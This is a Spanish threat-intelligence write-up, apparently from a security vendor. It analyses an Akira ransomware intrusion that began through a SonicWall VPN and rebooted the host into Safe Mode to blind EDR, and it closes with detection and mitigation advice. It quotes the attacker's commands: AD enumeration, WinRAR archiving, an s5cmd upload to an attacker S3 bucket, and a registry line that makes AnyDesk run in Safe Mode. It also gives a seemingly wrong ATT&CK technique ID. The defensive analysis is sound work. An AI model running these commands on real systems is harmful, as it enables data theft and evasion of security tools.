Akira llega al modo seguro: el ransomware que reinicia para evadir EDR

Agradecimientos: Un agradecimiento especial a Dray Agha por su ayuda en el análisis de este ataque.

Akira se ha convertido en una de las operaciones de ransomware más prolíficas y fue el grupo más activo que observamos en 2025. Sus afiliados se han asentado en un manual de jugadas bien conocido: entrar a través de una VPN expuesta (usualmente SonicWall), pivotar hacia el controlador de dominio, enumerar Active Directory, preparar y exfiltrar datos, y luego detonar todo en cuestión de horas. Huntress ha documentado ese manual de jugadas en profundidad: desde la explotación activa de los dispositivos SonicWall SSL VPN como vector de acceso inicial, hasta un caso reciente donde un afiliado creó una máquina virtual nueva en el hipervisor de la víctima específicamente para ejecutar el cifrador en un lugar donde Huntress no estaba instalado.

Un incidente que observamos a inicios de agosto siguió esa cadena conocida casi paso a paso: la misma entrada por SonicWall SSL VPN, los mismos volcados de Active Directory AdUsers.txt/AdComp.txt abiertos en el Bloc de notas, la misma exfiltración con WinRAR y luego carga a la nube, pero con un giro que no habíamos visto antes en Akira. En lugar de evadir EDR creando una máquina virtual limpia, el actor de amenazas reinició el endpoint comprometido en Modo seguro con funciones de red habilitadas, un modo de inicio de diagnóstico que carga solo los controladores y servicios centrales de Windows, pero que aun así permite la conectividad de red. Dado que los productos de seguridad de terceros quedan excluidos por diseño de ese conjunto mínimo de controladores, el reinicio dejó fuera de línea tanto al agente de Huntress como a la protección en tiempo real de Windows Defender en un solo movimiento, mientras se conservaba el acceso a la red necesario para continuar el ataque.

Lo que sigue es la cadena de ataque completa, con la jugada del Modo seguro en el centro, y las lecciones de detección y respuesta, incluyendo la parte en la que el propio truco anti-EDR del atacante parece haber saboteado su ransomware.

La cadena de ataque de un vistazo

Figura 1: Cronología de extremo a extremo de la intrusión

Detalles técnicos 

Acceso inicial: SonicWall SSL VPN, sin MFA

La intrusión empezó donde empiezan muchas intrusiones de Akira: un SonicWall SSL VPN. A partir de aproximadamente las 03:45 UTC del 4 de agosto de 2026, el SonicWall registró una ráfaga de inicios de sesión fallidos (Unknown User Login Attempt / "User login denied due to bad credentials") contra varios nombres de usuario desde distintas IP externas: un ataque de pulverización de credenciales directo. Alrededor de siete minutos después, a las 03:52:42 UTC, un intento tuvo éxito: una cuenta de VPN válida inició sesión desde una IP externa en un SSL VPN sin autenticación multifactor (MFA) por delante.

Figura 2: Registro de SonicWall que muestra la pulverización (msg 33) resolviéndose en un inicio de sesión exitoso de SSL VPN (msg 1080).

Viviendo en el controlador de dominio: reconocimiento, al estilo Akira

Ese inicio de sesión exitoso es anterior a cualquier acción manual por casi dos horas. Luego el operador accedió al controlador de dominio mediante el protocolo de escritorio remoto (RDP) y pasó a la acción directa: tras entrar por RDP, el atacante abrió poco después un cmd.exe elevado, y una rápida verificación con ping confirmó la accesibilidad. Luego vino la enumeración de Active Directory que cualquiera que haya lidiado con Akira antes reconocerá.

$formatenumerationlimit = -1

Get-ADUser -Filter * -Properties * | Select-Object Enabled, CanonicalName, CN, Name, SamAccountName, MemberOf, Company, Title, Description, Created, Modified, PasswordLastSet, LastLogonDate, logonCount, Department, telephoneNumber, MobilePhone, OfficePhone, EmailAddress, mail, HomeDirectory, homeMDB > C:\ProgramData\AdUsers.txt

Get-ADComputer -Filter * -Property * | Select-Object Enabled, Name, DNSHostName, IPv4Address, OperatingSystem, Description, CanonicalName, servicePrincipalName, LastLogonDate, whenChanged, whenCreated > C:\ProgramData\AdComp.txt

La enumeración fue un volcado completo de todas las propiedades de cada usuario y cada equipo del dominio. La línea $formatenumerationlimit = -1 es una pista reveladora: elimina el truncamiento predeterminado de PowerShell de cuatro elementos en atributos de múltiples valores como MemberOf, de modo que se captura cada membresía de grupo. La exportación de usuarios recolecta campos adyacentes a credenciales e información personal identificable (PasswordLastSet, LastLogonDate, EmailAddress, números telefónicos y ubicación del buzón); la exportación de equipos mapea cada endpoint, sistema operativo e IP, dándoles una lista de objetivos para el movimiento lateral y el cifrado masivo.

Figura 3: El resultado de la enumeración de AD siendo revisado en el Bloc de notas en el controlador de dominio.

Recolección y exfiltración: WinRAR hacia la nube

Al pasar al servidor de aplicaciones, el atacante pivotó hacia la recolección. Se descargó WinRAR y se instaló a mitad de la intrusión, para luego usarlo y archivar de forma recursiva los recursos compartidos de archivos mapeados:

WinRAR.exe a -ep1 -scul -r0 -iext -imon1 -- . "<share_1>" <share_2> <share_3> <share_4>

Esas opciones —a -ep1 -scul -r0 -iext -imon1— son la misma invocación de WinRAR que Huntress documentó en la campaña de SonicWall, mostrando una vez más un tradecraft consistente entre afiliados.

Los datos preparados luego se enviaron a almacenamiento en la nube usando s5cmd, una utilidad rápida de transferencia S3:

s5cmd cp --sp "E:\upload*" s3://<attacker-bucket>/

Esta es una actividad clásica de doble extorsión: robar todos los archivos de las víctimas antes de cifrarlos, de modo que, si la víctima no paga el rescate, puedan amenazar con publicarlos en algún foro clandestino sospechoso o en un sitio de filtraciones de la dark web.

Figura 4: WinRAR archivando los recursos compartidos de archivos y el comando de carga S3 con s5cmd.

AnyDesk: el canal de entrega y C2

Antes de la detonación, el operador instaló AnyDesk como servicio, configurado para iniciar con Windows, y estableció una sesión entrante. AnyDesk es una herramienta legítima de administración remota que está siendo utilizada de forma indebida como troyano de acceso remoto y canal de C2 en las operaciones de ransomware de Akira. Aquí cumplió una doble función: control manual directo y entrega de malware.

Una vez que la sesión estuvo activa en la máquina de la víctima, el operador primero envió un archivo al endpoint mediante una transferencia de archivos entrante de AnyDesk. Luego pegó cuatro bloques de texto a través del canal de portapapeles de AnyDesk (aproximadamente 4 KB, 296 B, 2 KB y 632 KB), lo que muestra al atacante pegando comandos en vivo en lugar de ejecutar un script de forma desatendida.

Aproximadamente 27 segundos después de que terminara la transferencia de archivos entrante, comenzó el árbol de procesos de akira.exe (un nombre muy original para su binario de ransomware, debo señalar).

Figura 5: Instalación del servicio AnyDesk y su adición al registro de arranque en modo seguro.

Esta sesión de AnyDesk (incluido el reinicio previo en modo seguro) duró menos de 10 minutos, lo que muestra lo bien afinadas que se han vuelto estas intrusiones de Akira.

La jugada del modo seguro

Aquí es donde este incidente se aparta de la norma habitual de Akira. A las 06:29:21 UTC, el operador ejecutó msconfig.exe y forzó un reinicio. Pero cuando el endpoint volvió a encender, no estaba en operación normal de Windows; los registros mostraban lo siguiente:

Kernel-Boot  EID 27:  LoadOptions = NOEXECUTE=OPTOUT SAFEBOOT:NETWORK

Kernel-General EID 12: BootMode = 2

Eso es modo seguro con funciones de red. Y en modo seguro, los servicios de terceros, incluido el agente de Huntress, no se inician. Esto también habría impedido que se iniciara el propio servicio AnyDesk de los atacantes; sin embargo, poco antes de reiniciar, ya habían hecho la siguiente adición al registro:

"C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /ve /d Service

Curiosamente, segundos después de iniciar el modo seguro, Windows Defender registró esto:

Windows Defender EID 3002

Error Code: 0x8007043c

"This service cannot be started in Safe Mode"

Esto significa que la protección en tiempo real de Defender también estaba deshabilitada. Durante toda la ventana en modo seguro, el endpoint no tuvo EDR funcional, y el antivirus quedó ciego. Esto es MITRE ATT&CK T1688: Impair Defences: Safe Mode Boot, una técnica que familias de ransomware como Snatch y AvosLocker han usado por años. Sin embargo, esta es la primera vez que vemos a Akira usarla. 

El autogol: el modo seguro rompió el ransomware

El atacante logró su ventana ciega. Lo que no logró fue una detonación limpia.

akira.exe se ejecutó a las 06:34:29 UTC y generó su ráfaga de procesos secundarios a las 06:36:21 UTC. Unos 13 segundos después, el endpoint empezó a mostrar errores de memoria:

06:36:16 - System EID 26: "Windows — Virtual Memory Minimum Too Low"          

06:36:33 - System EID 26: "Windows — Out of Virtual Memory"                   

06:36:34 - System EID 26: powershell.exe — "A new guard page for the stack cannot be created"  

El modo seguro arranca con un entorno reducido y memoria virtual limitada, y el árbol de procesos de Akira parece haberla agotado, generando la ventana emergente de "Out of Virtual Memory" y la cascada de errores graves de PowerShell que coinciden exactamente con el momento en que el payload intentó ponerse en marcha.

Finalmente, un análisis programado de Defender detectó el binario de ransomware a las 07:43:50 UTC. Lo marcó correctamente como Ransom:Win32/Akira.B!ibt, pero el evento de detección muestra que el proceso seguía en ejecución, y la rutina de limpieza de Defender falló repetidamente (RoutineClean falló, 0x80004005). La protección en tiempo real (RTP) estaba inactiva en modo seguro, así que hubo detección sin posibilidad de remediación.

La única cuarentena exitosa ocurrió a las 08:12:28 UTC: después de que el atacante reiniciara el endpoint de vuelta a la operación normal a las 08:10:38 UTC, lo que restauró la protección en tiempo real de Defender. En otras palabras, el payload se eliminó solo después de que el atacante deshiciera su propio truco anti-EDR, pero esto les dio una ventana más larga para prepararse y alistarse para detonar de la que esperaban al enfrentarse a EDR como el de Huntress. 

Figura 6: Cuarentena eventual de akira.exe una vez que el endpoint se reinició fuera del modo seguro

La conclusión es un poco incómoda. Si bien el modo seguro cegó nuestros controles, también pudo haber impedido el cifrado que buscaba habilitar. Ese es un efecto colateral afortunado del propio error del atacante en estas circunstancias, no una defensa en la que puedas confiar. 

En última instancia, esto podría ser un caso de ganar la batalla, pero no la guerra. Es posible que un endpoint con más memoria física o un archivo de paginación más grande le diera a akira.exe suficiente memoria virtual para cifrar el endpoint en modo seguro.  Los desarrolladores o afiliados de Akira podrían rediseñar el cifrador para reducir sus necesidades de memoria o hacer que su secuencia de inicio en modo seguro sea más confiable, lo que significa que la misma falla podría no repetirse en una futura intrusión.

Guía de mitigación y remediaciones

Detecta el ataque de credenciales antes de que se convierta en un punto de apoyo persistente:

• Genera alertas ante ráfagas de inicios de sesión fallidos en VPN contra múltiples nombres de usuario desde una sola fuente.

• Correlaciona esas fallas con un inicio de sesión exitoso desde la misma IP o ASN dentro de una ventana corta. 

Cierra la puerta:

• Exige MFA en cada cuenta de VPN. Esta intrusión comenzó con un ataque de credenciales contra una SSL VPN sin MFA.

• Deshabilita la SSL VPN durante ataques activos o aplica una lista de aceptados de IP.

• Si hay compromiso, rota todas las credenciales de AD y VPN; trata todo lo que aparezca en ese volcado de Get-ADUser como expuesto.

Cierra las brechas de cobertura que permitieron esto:

• Implementa EDR en todos los endpoints. En este entorno, el agente estaba solo en una fracción de los equipos que el atacante enumeró; los endpoints sin monitoreo son donde ocurre la preparación sin ser detectada, y el ransomware puede ejecutarse sin obstáculos de EDR o antivirus.

• Implementa SIEM e ingiere los registros de VPN y de eventos de Windows. Los primeros inicios de sesión de VPN fueron visibles horas antes de cualquier detonación; esta ventaja de tiempo solo es posible si los registros están en el SIEM.

Vigila específicamente la jugada del modo seguro:

• Genera alertas ante cambios en la configuración de arranque y reinicios en modo seguro: actividad de msconfig.exe / bcdedit, Kernel-Boot EID 27 con una opción de carga SAFEBOOT, Kernel-General EID 12 BootMode=2, y la detención de servicios de seguridad de terceros (System EID 7036).

• Vigila si se agregan herramientas a la lista de servicios mínimos del registro de modo seguro.

Indicadores de compromiso (IOC)